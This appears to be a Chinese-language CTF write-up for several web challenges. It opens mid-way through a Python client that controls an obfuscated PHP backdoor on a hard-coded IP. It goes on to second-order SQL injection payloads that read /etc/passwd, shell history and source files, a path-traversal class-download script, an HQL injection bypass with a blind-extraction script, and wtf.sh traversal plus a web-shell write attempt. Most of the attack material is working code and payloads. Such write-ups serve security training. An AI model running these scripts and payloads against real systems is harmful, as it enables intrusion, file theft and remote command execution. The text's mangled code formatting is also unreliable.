chr(ord(key[iKey]) ^ ord(text[iTxt])) iTxt += 1 iKey += 1 return result def debugPrint (msg) : if debugging: print msg debugging = False keyh = "42f7" keyf = "e9ac" xorKey = keyh + keyf url = 'http://111.200.241.244:48604/hack.php' defaultLang = 'zh-CN' languages = ['zh-TW;q=0.%d' ,'zh-HK;q=0.%d' ,'en-US;q=0.%d' ,'en;q=0.%d' ] proxies = None sess = requests.Session() langTmp = choicePart(languages,3 ) indexes = sorted(choicePart(range(1 ,10 ),3 ), reverse=True ) acceptLang = [defaultLang] for i in xrange(3 ): acceptLang.append(langTmp[i] % (indexes[i],)) acceptLangStr = ',' .join(acceptLang) debugPrint(acceptLangStr) init2Char = acceptLang[0 ][0 ] + acceptLang[1 ][0 ] md5head = (md5(init2Char + keyh).hexdigest())[0 :3 ] md5tail = (md5(init2Char + keyf).hexdigest())[0 :3 ] + randAlpha(randint(3 ,8 )) debugPrint('$i is %s' % (init2Char)) debugPrint('md5 head: %s' % (md5head,)) debugPrint('md5 tail: %s' % (md5tail,)) cmd = raw_input('phpshell > ' ) while cmd != '' : query = [] for i in xrange(max(indexes)+1 +randint(0 ,2 )): key = randAlpha(randint(3 ,6 )) value = base64.urlsafe_b64encode(randBytesFlow(randint(3 ,12 ))) query.append((key, value)) debugPrint('Before insert payload:' ) debugPrint(query) debugPrint(urllib.urlencode(query)) payload = zlib.compress(cmd) payload = loopXor(payload,xorKey) payload = base64.urlsafe_b64encode(payload) payload = md5head + payload cutIndex = randint(2 ,len(payload)-3 ) payloadPieces = (payload[0 :cutIndex], payload[cutIndex:], md5tail) iPiece = 0 for i in indexes: query[i] = (query[i][0 ],payloadPieces[iPiece]) iPiece += 1 referer = url + '?' + urllib.urlencode(query) debugPrint('After insert payload, referer is:' ) debugPrint(query) debugPrint(referer) r = sess.get(url,headers={'Accept-Language' :acceptLangStr,'Referer' :referer},proxies=proxies) html = r.text debugPrint(html) pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey)) output = pattern.findall(html) if len(output) == 0 : print 'Error, no backdoor response' cmd = raw_input('phpshell > ' ) continue output = output[0 ] debugPrint(output) output = output.decode('base64' ) output = loopXor(output,xorKey) output = zlib.decompress(output) print output cmd = raw_input('phpshell > ' )
1 ctf{a57 b3698 -eeae-48 c 0 -a669 -bafe3213568 c }
dirsearch扫一扫
有个 mysql.php
有 .git 泄露
直接 GitHack取下来
里面有一个 文件 write_do.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include "mysql.php" ;session_start(); if ($_SESSION['login' ] != 'yes' ){ header("Location: ./login.php" ); die (); } if (isset ($_GET['do' ])){switch ($_GET['do' ]){ case 'write' : break ; case 'comment' : break ; default : header("Location: ./index.php" ); } } else { header("Location: ./index.php" ); } ?>
抓个包
有个 isLogin 可以修改,改成了 1,但是好像没有什么用 ,并不能使得 $_SESSION[“login”] = “yes”
但是暂时不知道怎么用
这个是login页面的登录框
可能有一个账号
尝试了一下好像 *** 不行,可能是三个字符
试试看爆破
看来找到了密码
这是 do=comment的时候
当提交完留言后,会从comment.php跳转到comment.php
所以说,从git得到的write_do.php并不是完整的
有个提示,说还没来得及commit
换个工具,githacker
用githacker 下载来之后
意思是把文件的每一个修改都以 commit 的形式打印出来,虽然实际上并没有真正commit
然后 git reset
1 git reset --hard e5 b2 a2443 c 2 b6 d395 d06960123142 bc91123148 c
这时候再 cat write_do.php
可以看到原来丢失的内容,现在回来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include "mysql.php" ;session_start(); if ($_SESSION['login' ] != 'yes' ){ header("Location: ./login.php" ); die (); } if (isset ($_GET['do' ])){switch ($_GET['do' ]){ case 'write' : $category = addslashes($_POST['category' ]); $title = addslashes($_POST['title' ]); $content = addslashes($_POST['content' ]); $sql = "insert into board set category = '$category', title = '$title', content = '$content'" ; $result = mysql_query($sql); header("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes($_POST['bo_id' ]); $sql = "select category from board where id='$bo_id'" ; $result = mysql_query($sql); $num = mysql_num_rows($result); if ($num>0 ){ $category = mysql_fetch_array($result)['category' ]; $content = addslashes($_POST['content' ]); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'" ; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id" ); break ; default : header("Location: ./index.php" ); } } else { header("Location: ./index.php" ); } ?>
可以看到,在 comment的时候,bo_id 对应的category从board 这个表中取出,然后直接就参与 insert 语句了
在write 当中,正是因为担心 原生数据 $_POST[“category”] 不可靠,所以进行了addslashes的操作,而使得原生数据能够存入数据库当中,现在在comment里面,原生数据被取出来后并没有经过 addslashes ,因此就可以胡作非为了
id=6的情况
1 ',content=((select (@) from (select (@:=0x00 ),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat (@,0x0D ,0x0A ,' [ ' ,table_schema,' ] > ' ,table_name,' > ' ,column_name,0x7C ))))a)),bo_id='6'
现在去提交一个 comment 试试看
好像出了问题
试试看 id=7的情况
1 ',content=database(),bo_id=' 7' #
但是好像还是有问题
最终终于找到原因
#
仅仅是行注释,只能有效注释到一行的末尾
所以要更改一下payload
category:
1 ',content=(select (@) from (select (@:=0x00 ),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat (@,0x0D ,0x0A ,' [ ' ,table_schema,' ] > ' ,table_name,' > ' ,column_name,0x7C ))))a),
commetn 的 content:
成功
1 2 3 4 5 6 7 8 9 10 11 [ ctf ] > board > id| [ ctf ] > board > category| [ ctf ] > board > title| [ ctf ] > board > content| [ ctf ] > comment > id| [ ctf ] > comment > bo_id| [ ctf ] > comment > category| [ ctf ] > comment > content| [ ctf ] > user > id| [ ctf ] > user > username| [ ctf ] > user > password|
看一下user表的内容
category:
1 ',content=(select (@) from (select (@:=0x00 ),(select (@) from (user ) where (@)in (@:=concat (@,0x0D ,0x0A ,' [ ' ,id ,' ] > ' ,username,' > ' ,password ,0x7C ))))a),
comment 的content:
只有一个
因此flag可能不在数据库当中
用load_fie读读看源码
1 ',content=(select(concat(load_file(' /var/ www/html/i ndex.php'),load_file(' /var/ www/html/ comment.php'),load_file(' /var/ www/html/my sql.php'),load_file(' /var/ www/html/ login.php')))),/*
index.php
反正最终全部的源码都得到了
但是还是没有任何有关 flag的信息
看看 /etc/passwd
1 ',content=(select (concat (load_file ('/etc/passwd' )))),
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 root: x: 0 : 0 :root :/root :/bin/bash daemon: x: 1 : 1 :daemon :/usr/sbin :/usr/sbin/nologin bin: x: 2 : 2 :bin :/bin :/usr/sbin/nologin sys: x: 3 : 3 :sys :/dev :/usr/sbin/nologin sync: x: 4 : 65534 :sync :/bin :/bin/sync games: x: 5 : 60 :games :/usr/games :/usr/sbin/nologin man: x: 6 : 12 :man :/var/cache/man :/usr/sbin/nologin lp: x: 7 : 7 :lp :/var/spool/lpd :/usr/sbin/nologin mail: x: 8 : 8 :mail :/var/mail :/usr/sbin/nologin news: x: 9 : 9 :news :/var/spool/news :/usr/sbin/nologin uucp: x: 10 : 10 :uucp :/var/spool/uucp :/usr/sbin/nologin proxy: x: 13 : 13 :proxy :/bin :/usr/sbin/nologin www-data: x: 33 : 33 :www-data :/var/www :/usr/sbin/nologin backup: x: 34 : 34 :backup :/var/backups :/usr/sbin/nologin list: x: 38 : 38 :Mailing List Manager: /var/list: /usr/sbin/nologinirc: x: 39 : 39 :ircd :/var/run/ircd :/usr/sbin/nologin gnats: x: 41 : 41 :Gnats Bug-Reporting System (admin):/var/lib/gnats :/usr/sbin/nologin nobody: x: 65534 : 65534 :nobody :/nonexistent :/usr/sbin/nologin libuuid: x: 100 : 101 : :/var/lib/libuuid : syslog: x: 101 : 104 : :/home/syslog :/bin/false mysql: x: 102 : 105 :MySQL Server,,,:/var/lib/mysql :/bin/false www: x: 500 : 500 :www :/home/www :/bin/bash
看看 www 用户的 .bash_history
1 ',content=(select (concat (load_file ('/home/www/.bash_history' )))),
1 2 3 4 5 6 7 cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
/tmp/html 被复制到了 /var/www/
而复制过来之后,又删除了 /var/www/html/下面的 .DS_Store
其中可能有蹊跷
幸好 /tmp/html/.DS_Store没有被删除
访问看一下
1 ',content=(select (concat (load_file ('/tmp/html/.DS_Store' )))),
结果是一堆乱码
而且里面好像没有 flag
众所周知,select 得到的长度也是有极限的
现在试试看
1 ',content=(select (hex (load_file ('/tmp/html/.DS_Store' )))),
经过 解码还原之后
1 2 3 Bud1 strapIl bootstrapIlocblob F (ÿÿÿÿÿÿcomment .phpIlocblob Ì(ÿÿcssIlocblob R (ÿÿÿÿÿÿflag_8946e1ff1ee3e40f .phpIlocblob Ø(ÿÿÿÿÿÿfontsIlocblob F ÿÿÿÿÿÿ index .phpIlocblob ÌÿÿjsIlocblob R ÿÿÿÿÿÿ login .phpIlocblob Øÿÿÿÿÿÿ mysql .phpIlocblob F ÿÿÿÿÿÿvendorIlocblob Ìÿÿÿÿÿÿwrite_do .phpIlocblob R ÿÿÿÿÿÿ @ @ @ @EDSDB ` @ @ @
可以看到
1 flag_8946e1ff1ee3e40f .php
这个想必就是 flag所在的文件了
直接访问,结果什么都没有
那就再 load_file
1 ',content=(select (hex (load_file ('/var/www/html/flag_8946e1ff1ee3e40f.php' )))),
解码之后得到
1 2 3 <?php $flag="flag{0dd14aae81d94904b3492117e2a3d4df}" ; ?>
0x12 Zhuanxv dirsearch一下
有一个 list ,看一看
是个web应用
试试看sql 注入,尝试了一下,不过貌似后端不是php开发的
1 Cookie: JSESSIONID =5A602AA44128361B1E1765B1CB46041B
可见是 java 写的后端
而在源码中,发现了这个
1 background :url(./loadimage?fileName=web_login_bg.jpg )
初步推测,/loadimage?fileName= 触发了 loadimage 对应的servlet 的 doGet 方法,然后在 doGet 中,根据 fileName 打开了 对应文件的文件流,然后用 response.getWriter().print() 方法打印出来这个流
结果就是可以通过这个uri 来下载任意路径的文件
根据 java web 的目录结构
所有的 classes 都放在 /WEB-INF/classes/ 这个文件夹里面,而文件 /WEB-INF/web.xml 中放着servlet 和 url 如何对应的信息
但是不确定这个 bg.jpg 的真实位置
接下来就要试着读 web.xml
试试看在不在 /WEB-INF/classes/ 这个目录或者其子目录下
跑了个脚本,推测应该不在
再次尝试,看看是不是在根目录
推测也不是在根目录下
那就估计是放在 类似于 /resources这样的文件夹下了,稍微更改一下脚本再跑
最终发现 web.xml 的位置
下载来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?xml version="1.0" encoding="UTF-8"?> <web-app id ="WebApp_9" version ="2.4" xmlns ="http://java.sun.com/xml/ns/j2ee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" > <display-name > Struts Blank</display-name > <filter > <filter-name > struts2</filter-name > <filter-class > org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class > </filter > <filter-mapping > <filter-name > struts2</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <welcome-file-list > <welcome-file > /ctfpage/index.jsp</welcome-file > </welcome-file-list > <error-page > <error-code > 404</error-code > <location > /ctfpage/404.html</location > </error-page > </web-app >
可以看到 ,用到了 struts2 框架,去看一看 /WEB-INF/classes/struts.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd" > <struts > <constant name ="strutsenableDynamicMethodInvocation" value ="false" /> <constant name ="struts.mapper.alwaysSelectFullNamespace" value ="true" /> <constant name ="struts.action.extension" value ="," /> <package name ="front" namespace ="/" extends ="struts-default" > <global-exception-mappings > <exception-mapping exception ="java.lang.Exception" result ="error" /> </global-exception-mappings > <action name ="zhuanxvlogin" class ="com.cuitctf.action.UserLoginAction" method ="execute" > <result name ="error" > /ctfpage/login.jsp</result > <result name ="success" > /ctfpage/welcome.jsp</result > </action > <action name ="loadimage" class ="com.cuitctf.action.DownloadAction" > <result name ="success" type ="stream" > <param name ="contentType" > image/jpeg</param > <param name ="contentDisposition" > attachment;filename="bg.jpg"</param > <param name ="inputName" > downloadFile</param > </result > <result name ="suffix_error" > /ctfpage/welcome.jsp</result > </action > </package > <package name ="back" namespace ="/" extends ="struts-default" > <interceptors > <interceptor name ="oa" class ="com.cuitctf.util.UserOAuth" /> <interceptor-stack name ="userAuth" > <interceptor-ref name ="defaultStack" /> <interceptor-ref name ="oa" /> </interceptor-stack > </interceptors > <action name ="list" class ="com.cuitctf.action.AdminAction" method ="execute" > <interceptor-ref name ="userAuth" > <param name ="excludeMethods" > execute </param > </interceptor-ref > <result name ="login_error" > /ctfpage/login.jsp</result > <result name ="list_error" > /ctfpage/welcome.jsp</result > <result name ="success" > /ctfpage/welcome.jsp</result > </action > </package > </struts >
现在可以试试看 把 那些classes 都下载了,然后反编译看看
写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport ossession = requests.session() url = "http://111.200.241.244:55014/loadimage?fileName=" classes = ["com.cuitctf.action.UserLoginAction" ,"com.cuitctf.action.DownloadAction" ,"com.cuitctf.util.UserOAuth" ,"com.cuitctf.action.AdminAction" ] for c in classes: f = c.replace("." ,"/" )+".class" payload = "../../" +"WEB-INF/classes/" +f u = url+payload resp = session.get(url=u) print(resp.status_code,">>>>" ,payload) if resp.status_code == 200 : d = "/" .join(c.split("." )[:-1 ]) if not os.path.exists(d): os.makedirs(d) with open(f,"w" ) as f: f.write(resp.content)
然后就得到了
接下来用 jd-gui 来反编译
看一看
AdminAction感觉是本题的突破口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class AdminAction extends ActionSupport { private String pathName; public String execute () throws Exception { if (this .pathName == null ) return "list_error" ; travelDirectory(this .pathName); return "success" ; } public void setPathName (String pathName) { this .pathName = pathName; } public void travelDirectory (String directory) { List<String> fileList = new ArrayList<String>(); File dir = new File(directory); if (dir.isFile()) return ; File[] files = dir.listFiles(); ActionContext actionContext = ActionContext.getContext(); Map<String, Object> request = (Map<String, Object>)actionContext.get("request" ); if (files != null ) { for (int i = 0 ; i < files.length; i++) { fileList.add(files[i].getName()); System.out.println(files[i].getName()); } request.put("fileList" , fileList); } else { System.out.println("); request.put(" error", " ); } } }
如果能够调用 excute 函数,理论上就能知道服务器目录的信息
而如果知道了flag的位置,就可以通过 DowloadfAction 来下载了
这样就能获得flag
所以现在可以试试看伪造成 admin的身份
从一个个import 语句当中,又知道了更多文件的路径
1 2 3 com .cuitctf .service .UserService com .cuitctf .po .User com .cuitctf .util .InitApplicationContext
而且
1 import org.springframework.context.ApplicationContext;
从这里得知,应该有个 /WEB-INF/classes/applicationContext.xml
分析一下 UserLoginAction.class
1 2 3 4 5 6 7 public boolean userCheck (User user) { List<User> userList = this .userService.loginCheck(user.getName(), user.getPassword()); if (userList != null && userList.size() == 1 ) return true ; addActionError("Username or password is Wrong, please check!" ); return false ; }
感觉这个方法比较重要,而其中的 this.userService.loginCheck(user.getName(), user.getPassword());
直接决定了登录成功没
下载来看看
没想到是个 interface
没办法看出具体的类
那就看一下 applicationContext.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="dataSource" class ="org.springframework.jdbc.datasource.DriverManagerDataSource" > <property name ="driverClassName" > <value > com.mysql.jdbc.Driver</value > </property > <property name ="url" > <value > jdbc:mysql://localhost:3306/sctf</value > </property > <property name ="username" value ="root" /> <property name ="password" value ="root" /> </bean > <bean id ="sessionFactory" class ="org.springframework.orm.hibernate3.LocalSessionFactoryBean" > <property name ="dataSource" > <ref bean ="dataSource" /> </property > <property name ="mappingLocations" > <value > user.hbm.xml</value > </property > <property name ="hibernateProperties" > <props > <prop key ="hibernate.dialect" > org.hibernate.dialect.MySQLDialect</prop > <prop key ="hibernate.show_sql" > true</prop > </props > </property > </bean > <bean id ="hibernateTemplate" class ="org.springframework.orm.hibernate3.HibernateTemplate" > <property name ="sessionFactory" > <ref bean ="sessionFactory" /> </property > </bean > <bean id ="transactionManager" class ="org.springframework.orm.hibernate3.HibernateTransactionManager" > <property name ="sessionFactory" > <ref bean ="sessionFactory" /> </property > </bean > <bean id ="service" class ="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract ="true" > <property name ="transactionManager" > <ref bean ="transactionManager" /> </property > <property name ="transactionAttributes" > <props > <prop key ="add" > PROPAGATION_REQUIRED</prop > <prop key ="find*" > PROPAGATION_REQUIRED,readOnly</prop > </props > </property > </bean > <bean id ="userDAO" class ="com.cuitctf.dao.impl.UserDaoImpl" > <property name ="hibernateTemplate" > <ref bean ="hibernateTemplate" /> </property > </bean > <bean id ="userService" class ="com.cuitctf.service.impl.UserServiceImpl" > <property name ="userDao" > <ref bean ="userDAO" /> </property > </bean > </beans >
1 2 com .cuitctf .service .impl .UserServiceImpl com .cuitctf .dao .impl .UserDaoImpl
把这两个类也都下载而来
估计 loginCheck 就是这个实现了
1 2 3 4 5 6 7 8 9 public List<User> loginCheck (String name, String password) { name = name.replaceAll(" " , "" ); name = name.replaceAll("=" , "" ); Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$" ).matcher(name); Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$" ).matcher(password); if (password_matcher.find()) return this .userDao.loginCheck(name, password); return null ; }
先去除 name 里面的 “ “ 和 “=”
然后实际上也没做什么,判定了一下,如果 password 是以数字/字母开头结尾的话,就调用 userDao 的 loginCheck 方法
看一下 userDao的loginCheck 方法
1 2 3 public List<User> loginCheck (String name, String password) { return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'" ); }
1 getHibernateTemplate ().find ("from User where name ='" + name + "' and password = '" + password + "'" );
像极了数据库的操作,但实际上用的是 HQL (Hibernate Query Language)
就语法而言和 sql 非常相似,但是没有 # 注释,只能 –空格,当做注释
但是这个程序当中过滤了 空格
试试看注入
1 user .name=admin 'or(1<2)or(database())like' x&user .password=admin
成功
现在就想办法执行admin的excute了
可以看到,登录之后去 list 就会执行 execute
但是貌似这个就是 list 页面
没想到这个 struts 框架这么灵活,仅仅是在 url 里面放了个参数,Action 类的属性就被设置了
现在就去找flag了
可见,用到了 docker
最终发现了 tomcat 的位置
找flag 当中
看到一个 Flag.class
估计这就是 flag了
把它下载下来
1 WEB-INF/classes/ com/cuitctf/ po/Flag.class
看看 Flag.class
好像确实没有 flag
这里有个可疑的文件
下载来看看
这是一个 hibernate-mapping 文件(hbm 是 hibernate mapping 的缩写)
众所周知,hibernate 实际上会以一个类为原型,构造一个 table
property 标签定义字段,其中 column 是字段名,type 是字段的数据类型,id 表示该字段是 primary key,而且被声明为 id 的字段,用原来的属性名是没法访问的
可见,以flag 为原型,构建了一个表
1 bc3 fa8 be0 db46 a3610 db3 ca0 ec794 c 0 b
而这个表中有一个 字段,名为
但是HQL 中并不需要考虑数据库表的真实名字和字段的真实名字
而且因为这段代码的缘故,
只能下载 以 .xml、.jpg、.class 结尾的文件
能下载的文件都下载了,都没有flag的踪迹
所以只能尝试盲注把 flag 注出来了
1 user.name=admin'or(ascii(substr((select%0 aid%0 afrom%0 aFlag%0 a),1 ,1 ))>0 )or(database())like'x&user.password=a
写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsfrom time import sleepsession = requests.session() url = "http://111.200.241.244:38124/zhuanxvlogin" what_i_want = "" count = 0 for i in range(1 ,50 ): def what_i_want_i_less_than_or_equal_mid (mid) : global count count += 1 print("on the {}th request now.... " .format(count)) payload="admin'or(not(ascii(substr((select\nid\nfrom\nFlag),{},1))>{}))or(database())like'x" .format(i,mid) data = {"user.name" :payload,"user.password" :"a" } resp = session.post(url=url,data=data) print(resp.status_code) while resp.status_code==429 : print("429 !!! sleep(3)" ) sleep(3 ) resp = session.post(url=url,data=data) print(resp.status_code) if "like'x" in resp.text: return True return False print("--" *70 ) print("processing the {}th char now.... " .format(i)) low = 32 high = 127 while low < high: mid = (low + high)>>1 if what_i_want_i_less_than_or_equal_mid(mid): high = mid else : low = mid + 1 print("{}th request completed!!!" .format(count)) if low==32 : break what_i_want+=chr(low) print(what_i_want) count = 0 print("!!" *70 ) print("This is What You Want!!!!!!!!!!" ) print(what_i_want)
要注意过滤了 =
得到flag
1 sctf {C46E250926A2DFFD831975396222B08E}
0x13 wtf.sh-150
这是以 .wtf 开发的网站
有一个 new_user.wtf
而且 admin 已经被注册
有一个 login.wtf
登录之后通过 profile.wtf 可以访问对应账户的profile
以下这个是 hello的,可以 看到用户名是 hello 对应
而且只要更改 user 参数,就可以使得 页面发生变化
抓包看一看
这个是 yes 账户的
这个是 hello 账户的
可以看到 profile.wtf 应该是没有用到 Cookie 来进行身份的辨别
有一个 new_post.wtf
在这里发布的东西能在profile.wtf 中看到
也不确定 post 参数和登录的账户有没有关系,再注册一个
试试看,发现 yes账号确实没法看post=HG8NG对应的页面
说明应该是用到了某个东西进行身份验证,而且每个账户的post都被持久化了,即在某个地方被保存着,可能是数据库
抓个包,发现Cookie中就直接放着 USERNAME 还有一个 TOKEN ,应该用了 base64编码
1 n7H5aXIpc8mL/9ai2QYq1ICzIuVEp3od7RvLjQLTpBpOqlsmtrVDFcXaS2GyYwHJnrnUim+JpgdBLTcWPkxvMg ==
解码看看
好像是没有任何意义的
看看hello的Cookie
1 Cookie: USERNAME =hello; TOKEN =DRb/1EvzwlVPlmTAxqZMYw5FLY6Tt8G4++e8IUihvPGaZQAtywxmttciT4X/y7SY8lPQERohFjLj8Rgsb5CpQQ==
Token 部分和 yes 是不一样的
因而如果想通过修改Cookie 来伪造身份应该是比较困难的
有一个 post.wtf 能够看到post 上去的具体内容,其中用 url 上面的 post 参数来确定查看的是哪一个 post
有一个 reply.wtf 能够给 post 参数指定的post 评论
实在没什么思路了,重要的应该是 profile.wtf 和 post.wtf ,从其中应该可以得到有用的信息,特别是当 账户是 admin 的时候
对于 post.wtf 猜测post 参数可能是用于 查询操作,从而生成了这个页面,有可能和 sql 注入或者其他什么有关,值得fuzz 一下
最后确实发现了一些东西
分析一下
length 为 444 、451、460、466、468、496、519、531、635
反应都是
1 Pls give a (valid ) post id
当payload 为以下几个
1 2 3 4 %00.. /.. /.. /.. /.. /.. /etc/shadow .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/hosts/.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/shadow */*
就没有 Pls give a (valid) post id
说明应该成了
很有可能,这里有 目录穿越
只要payload 里面的内容和目录相关,出现 /
、*
这些要素,就都能被正常处理
找到一个,对应的user是 NONE
实际上只是啥也没有
剩下的几个长度都很长,看看有没有重要的
../
所对应的
1 2 3 4 HTTP/1.1 200 OK Content-Type: text/html X-Powered-By: wtf.sh 0.0 .0 .0 .1 "alphaest of bets" X-Bash-Fact: Loops are just commands. So, you can pipe things into and out of them!
有一大波内容
可以看到,其中的内容是 shell 脚本
1 $ source user_functions.sh
可见执行了 user_functions.sh
1 2 3 4 if is_logged_in && [[ "${COOKIES['USERNAME']} " = 'admin' ]] && [[ ${username} = 'admin' ]]then get_flag1 fi
可以看到,只要以 admin 登录就能得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 source user_functions.shif contains 'post' ${!URL_PARAMS[@]} && file_exists "posts/${URL_PARAMS['post']} " then post_id=${URL_PARAMS['post']} ; for post_file in $(ls posts/${post_id} /* | sort --field-separator='/' --key=3 -n); do echo "<div class=\"post\">" ; poster=$(nth_line 1 ${post_file} | htmlentities); title=$(nth_line 2 ${post_file} | htmlentities); body=$(tail -n +3 ${post_file} | htmlentities 2> /dev/null); echo "<span class=\"post-poster\">Posted by <a href=\"/profile.wtf?user=$(basename $(find_user_file "${poster}") )\">${poster} </a></span>" ; echo "<span class=\"post-title\">$title </span>" ; echo "<span class=\"post-body\">$body </span>" ; echo "</div>" ; done else echo "Pls give a (valid) post id" ; fi ;
上面这段代码 和 post.wtf 的内容生成息息相关
从 url 输入的 post=a,则posts/a 这个目录下所有的文件将被打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 source user_functions.shif [[ $method = 'POST' ]]then local username=${POST_PARAMS['username']} ; local password=${POST_PARAMS['password']} ; local userfile=$(find_user_file ${username} ); if [[ ${userfile} != 'NONE' ]] then if $(check_password ${username} ${password} ) then set_cookie "USERNAME" ${username} ; set_cookie "TOKEN" $(nth_line 3 ${userfile} ); redirect "/" ; else echo "<h3>Sorry, wrong password for user ${username} :(<br>Try again?</h3>" ; fi else echo "<h3>Sorry, user ${username} doesn't exist :(<br>Try again?</h3>" fi fi
上面这段代码是关于登录的
先会根据 username 调用函数 find_user_file,这个函数直接确定了用户名是否存在,其打印到 stdout 的内容最终会参与 TOKEN 的形成
1 2 3 4 5 6 7 8 9 10 11 12 function find_user_file { local username=$1 ; local hashed=$(hash_username "${username} " ); local f; if [[ -n "${username} " && -e "users_lookup/${hashed} " ]] then echo "users/$(cat "users_lookup/${hashed}/userid") " ; else echo "NONE" ; fi ; return ; }
考虑下面这段代码
1 2 3 set_cookie "USERNAME" ${username} ; set_cookie "TOKEN" $(nth_line 3 ${userfile} ); redirect "/" ;
其中的 $username 应该就是 得是 admin
而 TOKEN 是
1 nth_line 3 users/$(cat "users_lookup/${hashed} /userid" )
在 users 目录下的某一个文件当中
1 2 3 4 function hash_username { local username=$1 ; (shasum <<< ${username} ) | cut -d\ -f1; }
所以可以得到 $hashed
1 4015 bc9ee91e437d90df83fb64fbbe312d9c9f05
不过其实没必要
因为直接就暴露了
1 uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w ==
所以接下来伪造身份
1 Flag: xctf{cb49256d1ab48803
竟然只有一半
观察函数
发现一个 reply
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function reply { local post_id=$1 ; local username=$2 ; local text=$3 ; local hashed=$(hash_username "${username} " ); curr_id=$(for d in posts/${post_id} /*; do basename $d ; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id} " ); next_file=(posts/${post_id} /${next_reply_id} ); echo "${username} " > "${next_file} " ; echo "RE: $(nth_line 2 < "posts/${post_id}/1") " >> "${next_file} " ; echo "${text} " >> "${next_file} " ; echo "${post_id} /${next_reply_id} " >> "users_lookup/${hashed} /posts" ; }
找到 reply.wtf的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 source user_functions.shsource post_functions.shif [[ $method = 'POST' ]]then if is_logged_in then if [[ ${POST_PARAMS['text']} != '' && ${URL_PARAMS['post']} != '' ]] then reply "${URL_PARAMS['post']} " "${COOKIES['USERNAME']} " "${POST_PARAMS['text']} " redirect "/post.wtf?post=${URL_PARAMS['post']} #${next_post_id} " ; else redirect "/reply.wtf?post=${URL_PARAMS['post']} " ; fi else redirect "/login.wtf" fi fi if [[ ${URL_PARAMS['post']} = '' ]] then echo "u need to be replying to a post, you dumdum" ; fi if is_logged_inthen echo "u r logged in, s0 gib reply" else redirect "/login.wtf" fi
抓个包看看
因为这里有个编程不严谨的地方
1 next_file =(posts/${post_id} /${next_reply_id} )
因而实际上next_file的我们可以自定义
所以可以直接写个 shell.wtf
1 /reply.wtf?post =sh.wtf%20
1 2 3 4 Cookie: USERNAME =admin; TOKEN =uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w== Upgrade-Insecure-Requests: 1 text =$ find / -name flag*&submit=
但是好像没法访问
换个目录
1 /reply.wtf ?post=../users_lookup/sh.wtf %20
可以访问了,但是没有执行命令
1 2 3 echo "${username} " > "${next_file} " ;echo "RE: $(nth_line 2 < "posts/${post_id}/1") " >> "${next_file} " ;echo "${text} " >> "${next_file} " ;
text 是被 append 到 username 的后面的,没法另起一行
那就只能更改 username 的值了
1 /reply.wtf ?post=../users_lookup/hello.wtf %20
